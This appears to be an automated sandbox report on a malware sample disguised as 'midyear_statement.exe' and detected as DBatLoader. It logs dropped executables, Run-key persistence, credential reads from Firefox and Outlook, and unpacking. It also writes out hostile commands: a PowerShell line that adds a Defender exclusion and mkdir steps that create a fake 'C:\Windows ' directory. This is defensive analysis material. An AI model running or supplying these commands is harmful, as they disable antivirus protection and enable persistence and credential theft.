Source: C:\Users\Public\Libraries\wkrriuhD.pif	Command line argument: PG	24_2_0059F7A7
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Command line argument: PG	24_2_0059F7A7
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Command line argument: PG	24_2_0059F7A7
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Command line argument: PG	24_2_0059F7A7
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Command line argument: dMG	24_2_0059F7A7
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Command line argument: PG	24_2_0059F7A7
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Command line argument: PG	24_2_0059F7A7
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Command line argument: PSG	24_2_0059F7A7

Source: C:\Users\user\Desktop\midyear_statement.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Users\Public\Libraries\wkrriuhD.pif

System information queried: HandleInformation

Jump to behavior

Source: C:\Users\Public\Libraries\wkrriuhD.pif

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\midyear_statement.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: wkrriuhD.pif, wkrriuhD.pif, 0000001B.00000002.1406156009.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: wkrriuhD.pif, wkrriuhD.pif, 0000001C.00000002.1384508766.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: wkrriuhD.pif, 00000018.00000002.3665263923.0000000014530000.00000040.10000000.00040000.00000000.sdmp, wkrriuhD.pif, 0000001B.00000002.1406156009.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: wkrriuhD.pif, wkrriuhD.pif, 0000001B.00000002.1406156009.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
Source: wkrriuhD.pif, wkrriuhD.pif, 0000001B.00000002.1406156009.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: wkrriuhD.pif, wkrriuhD.pif, 0000001B.00000002.1406156009.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: wkrriuhD.pif, 0000001B.00000002.1406746333.00000000028A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: wkrriuhD.pif, wkrriuhD.pif, 0000001B.00000002.1406156009.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Source: midyear_statement.exe	ReversingLabs: Detection: 26%
Source: midyear_statement.exe	Virustotal: Detection: 31%

Source: C:\Users\user\Desktop\midyear_statement.exe

File read: C:\Users\user\Desktop\midyear_statement.exe

Jump to behavior

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Evasive API call chain: __getmainargs,DecisionNodes,exit

Source: unknown	Process created: C:\Users\user\Desktop\midyear_statement.exe "C:\Users\user\Desktop\midyear_statement.exe"
Source: C:\Users\user\Desktop\midyear_statement.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c mkdir "\\?\C:\Windows "
Source: C:\Users\user\Desktop\midyear_statement.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c mkdir "\\?\C:\Windows \System32"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\midyear_statement.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
Source: C:\Users\user\Desktop\midyear_statement.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c "C:\Windows \System32\2506803.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows \System32\2506803.exe "C:\Windows \System32\2506803.exe"
Source: C:\Windows \System32\2506803.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\windows \system32\KDECO.bat""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
Source: C:\Users\user\Desktop\midyear_statement.exe	Process created: C:\Windows\SysWOW64\extrac32.exe C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\user\Desktop\midyear_statement.exe C:\\Users\\Public\\Libraries\\Dhuirrkw.PIF
Source: C:\Users\user\Desktop\midyear_statement.exe	Process created: C:\Users\Public\Libraries\wkrriuhD.pif C:\Users\Public\Libraries\wkrriuhD.pif
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Process created: C:\Users\Public\Libraries\wkrriuhD.pif C:\Users\Public\Libraries\wkrriuhD.pif /stext "C:\Users\user\AppData\Local\Temp\jshsresovzeecssjzbcdvgiytb"
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Process created: C:\Users\Public\Libraries\wkrriuhD.pif C:\Users\Public\Libraries\wkrriuhD.pif /stext "C:\Users\user\AppData\Local\Temp\tumlrwcijhwjehgnqmoeyldobicnm"
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Process created: C:\Users\Public\Libraries\wkrriuhD.pif C:\Users\Public\Libraries\wkrriuhD.pif /stext "C:\Users\user\AppData\Local\Temp\vozespnjxpoopncrzwbyjypxcpmofmxl"
Source: unknown	Process created: C:\Users\Public\Libraries\Dhuirrkw.PIF "C:\Users\Public\Libraries\Dhuirrkw.PIF"
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process created: C:\Users\Public\Libraries\wkrriuhD.pif C:\Users\Public\Libraries\wkrriuhD.pif
Source: unknown	Process created: C:\Users\Public\Libraries\Dhuirrkw.PIF "C:\Users\Public\Libraries\Dhuirrkw.PIF"
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process created: C:\Users\Public\Libraries\wkrriuhD.pif C:\Users\Public\Libraries\wkrriuhD.pif
Source: C:\Users\user\Desktop\midyear_statement.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c mkdir "\\?\C:\Windows "	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c mkdir "\\?\C:\Windows \System32"	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c "C:\Windows \System32\2506803.exe"	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process created: C:\Windows\SysWOW64\extrac32.exe C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\user\Desktop\midyear_statement.exe C:\\Users\\Public\\Libraries\\Dhuirrkw.PIF	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process created: C:\Users\Public\Libraries\wkrriuhD.pif C:\Users\Public\Libraries\wkrriuhD.pif	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows \System32\2506803.exe "C:\Windows \System32\2506803.exe"	Jump to behavior
Source: C:\Windows \System32\2506803.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\windows \system32\KDECO.bat""	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"	Jump to behavior
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Process created: C:\Users\Public\Libraries\wkrriuhD.pif C:\Users\Public\Libraries\wkrriuhD.pif /stext "C:\Users\user\AppData\Local\Temp\jshsresovzeecssjzbcdvgiytb"	Jump to behavior
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Process created: C:\Users\Public\Libraries\wkrriuhD.pif C:\Users\Public\Libraries\wkrriuhD.pif /stext "C:\Users\user\AppData\Local\Temp\tumlrwcijhwjehgnqmoeyldobicnm"	Jump to behavior
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Process created: C:\Users\Public\Libraries\wkrriuhD.pif C:\Users\Public\Libraries\wkrriuhD.pif /stext "C:\Users\user\AppData\Local\Temp\vozespnjxpoopncrzwbyjypxcpmofmxl"	Jump to behavior
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process created: C:\Users\Public\Libraries\wkrriuhD.pif C:\Users\Public\Libraries\wkrriuhD.pif
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process created: C:\Users\Public\Libraries\wkrriuhD.pif C:\Users\Public\Libraries\wkrriuhD.pif

Source: C:\Users\user\Desktop\midyear_statement.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts

Source: midyear_statement.exe

Static file information: File size 1265664 > 1048576

Source:	Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000003.1261008104.000000007EC30000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp, 2506803.exe, 2506803.exe, 00000010.00000002.1294538505.00007FF790071000.00000020.00000001.01000000.00000005.sdmp, 2506803.exe.0.dr
Source:	Binary string: easinvoker.pdbH source: midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000003.1291692035.0000000015C05000.00000004.00000020.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp, 2506803.exe, 00000010.00000002.1294538505.00007FF790071000.00000020.00000001.01000000.00000005.sdmp, 2506803.exe.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\Public\Libraries\wkrriuhD.pif	Unpacked PE file: 27.2.wkrriuhD.pif.400000.0.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.rsrc:R; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Unpacked PE file: 28.2.wkrriuhD.pif.400000.0.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.rsrc:R; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Unpacked PE file: 29.2.wkrriuhD.pif.400000.0.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.rsrc:R; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\Public\Libraries\wkrriuhD.pif	Unpacked PE file: 24.2.wkrriuhD.pif.12330000.2.unpack
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Unpacked PE file: 31.2.wkrriuhD.pif.24140000.2.unpack

Yara detected DBatLoader

Source: Yara match	File source: 0.2.midyear_statement.exe.2656dc8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.midyear_statement.exe.2a46bd8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.midyear_statement.exe.40a0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.midyear_statement.exe.2656dc8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.midyear_statement.exe.2a46bd8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1190782910.000000007FD60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1365940643.0000000002A46000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1364633992.0000000002656000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.1640507310.0000000004171000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.1569609862.00000000040F1000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY

Source: wkrriuhD.pif.0.dr

Static PE information: 0x9E9038DB [Sun Apr 19 22:51:07 2054 UTC]

Source: C:\Users\user\Desktop\midyear_statement.exe

Code function: 0_2_040B7A50 LoadLibraryW,GetProcAddress,NtWriteVirtualMemory,FreeLibrary,

0_2_040B7A50

Source: initial sample

Static PE information: section where entry point is pointing to: .....

Source: midyear_statement.exe	Static PE information: real checksum: 0x0 should be: 0x139d32
Source: netutils.dll.0.dr	Static PE information: real checksum: 0x22e25 should be: 0x1cc51
Source: wkrriuhD.pif.0.dr	Static PE information: real checksum: 0x0 should be: 0x1768a
Source: Dhuirrkw.PIF.23.dr	Static PE information: real checksum: 0x0 should be: 0x139d32

Source: 2506803.exe.0.dr	Static PE information: section name: .imrsiv
Source: netutils.dll.0.dr	Static PE information: section name: .....
Source: netutils.dll.0.dr	Static PE information: section name: .....
Source: netutils.dll.0.dr	Static PE information: section name: ......
Source: netutils.dll.0.dr	Static PE information: section name: ......
Source: netutils.dll.0.dr	Static PE information: section name: ......
Source: netutils.dll.0.dr	Static PE information: section name: ....
Source: netutils.dll.0.dr	Static PE information: section name: ......
Source: netutils.dll.0.dr	Static PE information: section name: ......
Source: netutils.dll.0.dr	Static PE information: section name: ....
Source: netutils.dll.0.dr	Static PE information: section name: ......
Source: netutils.dll.0.dr	Static PE information: section name: /4
Source: netutils.dll.0.dr	Static PE information: section name: /19
Source: netutils.dll.0.dr	Static PE information: section name: /31
Source: netutils.dll.0.dr	Static PE information: section name: /45
Source: netutils.dll.0.dr	Static PE information: section name: /57
Source: netutils.dll.0.dr	Static PE information: section name: /70
Source: netutils.dll.0.dr	Static PE information: section name: /81
Source: netutils.dll.0.dr	Static PE information: section name: /92

Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040BD48C push ecx; mov dword ptr [esp], edx	0_2_040BD491
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040AC4B0 push ecx; mov dword ptr [esp], edx	0_2_040AC4B5
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040AD4E4 push 040AD510h; ret	0_2_040AD508
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040A66FA push 040A673Eh; ret	0_2_040A6736
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040A66FC push 040A673Eh; ret	0_2_040A6736
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040CB0AC push 040CB125h; ret	0_2_040CB11D
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040CB144 push 040CB1ECh; ret	0_2_040CB1E4
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040CB1F8 push 040CB288h; ret	0_2_040CB280
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040CA2A4 push 040CA4A4h; ret	0_2_040CA49C
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040A32C0 push eax; ret	0_2_040A32FC
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040CB2F4 push 040CB35Fh; ret	0_2_040CB357
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040A631E push 040A637Bh; ret	0_2_040A6373
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040A6320 push 040A637Bh; ret	0_2_040A6373
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040CC360 pushad ; ret	0_2_040CC365
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040B7C48 push 040B7C80h; ret	0_2_040B7C78
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040B7C46 push 040B7C80h; ret	0_2_040B7C78
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040B5DC0 push ecx; mov dword ptr [esp], edx	0_2_040B5DC2
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040B2EA4 push 040B2F1Ah; ret	0_2_040B2F12
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040CEF18 push eax; ret	0_2_040CEFE8
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040B2FAF push 040B2FFDh; ret	0_2_040B2FF5
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040B2FB0 push 040B2FFDh; ret	0_2_040B2FF5
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040B7850 push 040B78CDh; ret	0_2_040B78C5
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040B688A push 040B6937h; ret	0_2_040B692F
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040B688C push 040B6937h; ret	0_2_040B692F
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040B9AF8 push 040B9B30h; ret	0_2_040B9B28
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040ACB2B push 040ACCB6h; ret	0_2_040ACCAE
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040ACB30 push 040ACCB6h; ret	0_2_040ACCAE
Source: C:\Windows \System32\2506803.exe	Code function: 16_2_613D0021 pushfq ; iretd	16_2_613D002A
Source: C:\Windows \System32\2506803.exe	Code function: 16_2_613D0D00 pushfq ; ret	16_2_613D0D01
Source: C:\Windows \System32\2506803.exe	Code function: 16_2_613D1DFE push rsp; iretd	16_2_613D1DFF
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_00402DB4 push eax; ret	24_2_00402E84

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\extrac32.exe	File created: C:\Users\Public\Libraries\Dhuirrkw.PIF			Jump to dropped file
Source: C:\Users\user\Desktop\midyear_statement.exe	File created: C:\Users\Public\Libraries\wkrriuhD.pif			Jump to dropped file

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\SysWOW64\cmd.exe

Executable created and started: C:\Windows \System32\2506803.exe

Jump to behavior

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Code function: 24_2_12336EB0 ShellExecuteW,URLDownloadToFileW,

24_2_12336EB0

Source: C:\Users\user\Desktop\midyear_statement.exe	File created: C:\Windows \System32\2506803.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\extrac32.exe	File created: C:\Users\Public\Libraries\Dhuirrkw.PIF	Jump to dropped file
Source: C:\Users\user\Desktop\midyear_statement.exe	File created: C:\Users\Public\Libraries\wkrriuhD.pif	Jump to dropped file
Source: C:\Users\user\Desktop\midyear_statement.exe	File created: C:\Windows \System32\netutils.dll	Jump to dropped file

Source: C:\Users\user\Desktop\midyear_statement.exe	File created: C:\Windows \System32\2506803.exe			Jump to dropped file
Source: C:\Users\user\Desktop\midyear_statement.exe	File created: C:\Windows \System32\netutils.dll			Jump to dropped file

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Code function: 24_2_1234AA4A OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

24_2_1234AA4A

Source: C:\Users\user\Desktop\midyear_statement.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Dhuirrkw			Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Dhuirrkw			Jump to behavior

Source: C:\Users\user\Desktop\midyear_statement.exe

Code function: 0_2_040B9B34 GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_040B9B34

Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\midyear_statement.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
